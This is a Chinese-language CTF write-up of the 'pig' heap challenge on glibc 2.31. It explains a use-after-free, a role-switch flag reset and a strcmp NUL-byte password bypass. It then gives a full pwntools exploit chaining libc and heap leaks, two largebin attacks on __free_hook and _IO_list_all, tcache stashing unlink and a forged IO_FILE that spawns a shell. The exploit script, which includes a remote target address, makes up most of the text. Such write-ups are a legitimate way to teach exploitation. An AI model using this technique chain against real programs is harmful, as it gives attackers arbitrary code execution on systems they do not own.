0%

House Of Pig-2.31-64

pig

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9) stable release version 2.31.
  • PS:源题目是 2.31-0ubuntu9.1
1
2
3
4
5
6
pig: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e9ee5187a2dee7365b11251f5fe19c5217b84ab5, for GNU/Linux 3.2.0, stripped                                                
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

在释放模块中没有置空 free chunk 的指针:

1
2
3
4
5
6
7
8
if ( *(_QWORD *)(a1 + 8LL * num) && !*(_BYTE *)(a1 + num + 288) && !*(_BYTE *)(a1 + num + 312) )
{
free(*(void **)(a1 + 8LL * num));
*(_BYTE *)(a1 + num + 0x120) = 1;
*(_BYTE *)(a1 + num + 0x138) = 1;
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
  • UAF 漏洞,但是 a1 + num + 0x120 这个位置用于记录该 chunk 是否 free
1
2
3
4
5
6
7
8
9
if ( num < 0x14 )
{
if ( a1[num] && *((_DWORD *)a1 + (int)num + 0x30) && !*((_BYTE *)a1 + (int)num + 0x120) )
{
std::operator<<<std::char_traits<char>>(&std::cout, "The message is: ");
v2 = std::operator<<<std::char_traits<char>>(&std::cout, a1[num]);
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
  • 后续会检查 a1 + num + 0x120 的标记

在实现“角色切换”的函数中,缺少关键位的初始化:

1
2
3
4
5
6
7
8
9
10
unsigned __int64 __fastcall change_1(__int64 a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
memcpy((void *)mmap_buf, (const void *)a1, 0xC0uLL);
memcpy((char *)mmap_buf + 0xC0, (const void *)(a1 + 0xC0), 0x60uLL);
memcpy((char *)mmap_buf + 0x138, (const void *)(a1 + 0x138), 0x18uLL);
return __readfsqword(0x28u) ^ v2;
}
  • 第二个 memcpy 刚好复制到 a1 + 0x120 就停止了,没有复制 free chunk 标记位
  • 导致后续将 mmap_buf 赋值回 a1 时,free chunk 标记位被置空:
1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 __fastcall set_mmap_buf_1(__int64 a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
memcpy((void *)a1, mmap_buf, 0xC0uLL);
memcpy((void *)(a1 + 0xC0), (char *)mmap_buf + 0xC0, 0x60uLL);
memcpy((void *)(a1 + 0x120), (char *)mmap_buf + 0x120, 0x18uLL);
memcpy((void *)(a1 + 0x138), (char *)mmap_buf + 0x138, 0x18uLL);
return __readfsqword(0x28u) ^ v2;
}
  • 也就是说,当 a1 中的标志位被设置为 “1” 时,可以通过修改角色并切回将其置为 “0”

在“角色切换”函数中的保护可以被 “\x00” 截断:

1
2
3
4
5
6
7
8
9
10
11
12
if ( !memcmp(decode, pwd1, 0x11uLL) || !memcmp(decode, pwd2, 0x11uLL) || !strcmp(decode, pwd3) )
{
if ( input[0] == 'C' )
return 3LL;
if ( (unsigned __int8)input[0] - 'A' <= 2 )
{
if ( input[0] == 'A' )
return 1LL;
if ( input[0] == 'B' )
return 2LL;
}
}
  • 原本程序有一个对 hash 的检查保护,3个 hash 密码只要对一个就可以通过
  • 但最后一个 hash 的匹配函数为 strcmp 可以被 “\x00” 截断
  • 分别爆破一下以 A B C 开头,并且可以通过 strcmp 的密码即可

入侵思路

程序使用 calloc 申请内存,与 malloc 相比,calloc 主要有以下特点:

  • 对内存空间进行初始化
  • 跳过 tcache,无法完成常规的 tcache attack 等利用

由于本程序使用了 calloc 并限制了 size 的大小,常规的 fastbin 和 tcache 攻击都不起作用,通常使用 calloc 申请的程序就可以考虑使用 house of pig

程序的限制如下:

  • 第1种 chunk:每隔 0x30 中的前面 0x10 个字节可以被写一次(共20个)
  • 第2种 chunk:每隔 0x30 中的中间 0x10 个字节可以被写一次(共10个)
  • 第3种 chunk:每隔 0x30 中的后面 0x10 个字节可以被写一次(共5个)
  • 申请 chunk 时,给定的 size 必须从小到大

而我们需要完成如下工作:

  • 将某个 tcach 填满,进行泄露
  • 第一次 largebin attack 往 free_hook-8 写入堆地址(PS:进行 largebin attack 的 chunk 将不能被申请,因此最好将 largebin attack 放到后面)
  • 第二次 largebin attack 劫持 _IO_list_all
  • 进行 tcache_stashing_unlink 攻击
  • 写入 fake_IO_FILE 并将其触发

基于题目本身的限制,本题目的堆风水比较难,但总体来说保持如下的思路:

  • 第1种类型数目最多,用它来填满 tcache 并泄露地址,由于它可以写入前 0x10 字节,于是需要用它来进行 tcache_stashing_unlink 攻击
  • 第2种类型可以中间 0x10 字节,用它来进行 largebin attack
  • 第3种类型只有5个,申请完这5个 chunk 后,会提供一个无限制的输入,只能用它来写 fake IO_file,因此也只能用前5个 chunk 来进行一些填充操作

先进行泄露,并为 tcache_stashing_unlink 做准备:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
change(2)
for i in range(5):
add(0x90,'2'*0x30)
dele(i)

change(1)
for i in range(8):
add(0x160,'a'*117)

for i in range(1,8):
dele(i)

dele(0)

change(2)
change(1)

show(0)
p.recvuntil("The message is: ")
leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = leak_addr-0x1ebbe0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

show(5)
p.recvuntil("The message is: ")
leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
heap_base = leak_addr-0x12790
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

io_list_all = libc_base + 0x1ec5a0
system_libc = libc_base + libc.sym["system"]
free_hook = libc_base + libc.sym["__free_hook"]
success("io_list_all >> "+hex(io_list_all))
success("free_hook >> "+hex(free_hook))

change(1)
add(0x180,'a'*0x70)

change(2)
add(0xc0,'a'*64) #5

change(1)
for i in range(9,16):
add(0x180,'a'*0x70)
dele(i)

dele(8)
change(2)
add(0xe0, 'B'*0x38) #6
  • 其实这里我尝试了各种各样的堆风水,申请大堆块然后用它来分割出合适的 small chunk,但要么是后面的 size 太小不能申请,要么是申请的次数不够
  • 参考了下官方 wp 的做法,把 tcache_stashing_unlink 和泄露的过程放在一起,再把另一个 tcache 填满(不申请大堆块),使 chunk 保持较小的 size,方便之后的 largebin attack
  • 此时的堆布局如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> bins
tcachebins
0xa0 [ 5]: 0x560759aac130 —▸ 0x560759aac090 —▸ 0x560759aabff0 —▸ 0x560759aabf50 —▸ 0x560759aabeb0 ◂— 0x0
0x170 [ 7]: 0x560759aacbe0 —▸ 0x560759aaca70 —▸ 0x560759aac900 —▸ 0x560759aac790 —▸ 0x560759aac620 —▸ 0x560759aac4b0 —▸ 0x560759aac340 ◂— 0x0
0x190 [ 7]: 0x560759aad840 —▸ 0x560759aad6b0 —▸ 0x560759aad520 —▸ 0x560759aad390 —▸ 0x560759aad200 —▸ 0x560759aad070 —▸ 0x560759aacee0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0xa0: 0x560759aace30 —▸ 0x560759aac290 —▸ 0x7fc816378c70 (main_arena+240) ◂— 0x560759aace30

接下来要进行第一次 largebin attack,往 free_hook-0x8 写入一个可控堆地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# largebin attack1
change(1)
add(0x410,'1'*346)#16 unsorted1
add(0x410,'a'*346)
add(0x410,'1'*346)#18 unsorted2

change(3)
add(0xa0,'a'*53)

change(2)
add(0x420,'2'*352)#7 large
add(0x430,'a'*357)
dele(7)
add(0x430,'c'*357)

change(1)
dele(16)

change(2)
payload = p64(heap_base+0x146d0) + p64(free_hook-0x8-0x20)
edit(7,payload)

change(3)
add(0xa0, 'C'*170)

change(2)
payload = p64(heap_base+0x146d0) + p64(heap_base+0x146d0)
edit(7,payload)
  • PS:其实 largebin attak 不需要申请更大的 chunk,只需要让 unsorted chunk 分割即可
  • 这个 large chunk 我们需要使用两次,因此在 largebin attack 结束以后要将它复原

然后进行第二次 largebin attack,用于劫持 io_list_all

1
2
3
4
5
6
7
8
9
10
# largebin attack2
change(1)
dele(18)

change(2)
payload = p64(heap_base+0x146d0) + p64(io_list_all-0x20)
edit(7,payload)

change(3)
add(0xa0, 'C'*170)

由于我们没法直接控制写入 io_list_all 的 chunk(程序对输入有限制),只能将其申请回来,并修改 _chain 条目为第3种类型的第6个 chunk(这是唯一一个可以完整写入的 chunk)

然后执行 tcache_stashing_unlink 攻击将 free_hook 写到 tcache 的头部,最后写入 fake_IO_FILE 并触发 IO 流

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './pig'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p)
#gdb.attach(p,"b *$rebase(0x41A1)\n")
#pause()

def cmd(op):
p.sendlineafter("Choice: ",str(op))

def add(size,data):
cmd(1)
p.sendlineafter("Input the message size: ",str(size))
p.sendlineafter("message: ",data)

def show(index):
cmd(2)
p.sendlineafter("Input the message index: ",str(index))

def edit(index,data):
cmd(3)
p.sendlineafter("Input the message index: ",str(index))
p.sendlineafter("message: ",data)

def dele(index):
cmd(4)
p.sendlineafter("Input the message index: ",str(index))

def change(key):
cmd(5)
if (key == 1):
p.sendlineafter('user:\n', 'A\x01\x95\xc9\x1c')
elif (key == 2):
p.sendlineafter('user:\n', 'B\x01\x87\xc3\x19')
elif (key == 3):
p.sendlineafter('user:\n', 'C\x01\xf7\x3c\x32')

#debug()

change(2)
for i in range(5):
add(0x90,'2'*0x30)
dele(i)

change(1)
for i in range(8):
add(0x160,'a'*117)

for i in range(1,8):
dele(i)

dele(0)

change(2)
change(1)

show(0)
p.recvuntil("The message is: ")
leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = leak_addr-0x1ebbe0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

show(5)
p.recvuntil("The message is: ")
leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
heap_base = leak_addr-0x12790
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

io_list_all = libc_base + 0x1ec5a0
system_libc = libc_base + libc.sym["system"]
free_hook = libc_base + libc.sym["__free_hook"]
success("io_list_all >> "+hex(io_list_all))
success("free_hook >> "+hex(free_hook))

change(1)
add(0x180,'a'*0x70)

change(2)
add(0xc0,'a'*64) #5

change(1)
for i in range(9,16):
add(0x180,'a'*0x70)
dele(i)

dele(8)
change(2)
add(0xe0, 'B'*0x38) #6

# largebin attack1
change(1)
add(0x410,'1'*346)#16 unsorted1
add(0x410,'a'*346)
add(0x410,'1'*346)#18 unsorted2

change(3)
add(0xa0,'a'*53)

change(2)
add(0x420,'2'*352)#7 large
add(0x430,'a'*357)
dele(7)
add(0x430,'c'*357)

change(1)
dele(16)

change(2)
payload = p64(heap_base+0x146d0) + p64(free_hook-0x8-0x20)
edit(7,payload)

change(3)
add(0xa0, 'C'*170)

change(2)
payload = p64(heap_base+0x146d0) + p64(heap_base+0x146d0)
edit(7,payload)

# largebin attack2
change(1)
dele(18)

change(2)
payload = p64(heap_base+0x146d0) + p64(io_list_all-0x20)
edit(7,payload)

change(3)
add(0xa0, 'C'*170)

# tcache_stashing_unlink
change(1)
payload = 'p'*80 + p64(heap_base+0x12290) + p64(free_hook-0x20)
edit(8, payload)
add(0x410,'1'*346)

change(2)
payload = p64(heap_base+0x146d0) + p64(heap_base+0x146d0)
edit(7,payload)

change(3)
payload = '\x00'*0x18 + p64(heap_base+0x13b20)
payload = payload.ljust(341, '\x00')

add(0x410, payload) # C3 change fake FILE _chain
add(0x90,'a'*40)

str_jumps = libc_base + 0x1ed560
fake_IO_FILE = 2*p64(0)
fake_IO_FILE += p64(1) #_IO_write_base = 1
fake_IO_FILE += p64(0xffffffffffff) #_IO_write_ptr = 0xffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(heap_base+0x13c00) #_IO_buf_base
fake_IO_FILE += p64(heap_base+0x13c18) #_IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0xb0,b'\x00')
fake_IO_FILE += p64(0) #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8,b'\x00')
fake_IO_FILE += p64(str_jumps) #change vtable
payload = fake_IO_FILE + b'/bin/sh\x00' + 2*p64(system_libc)
p.sendlineafter("01dwang's Gift:",payload)

cmd(5)
p.sendlineafter('user:\n', '')

p.interactive()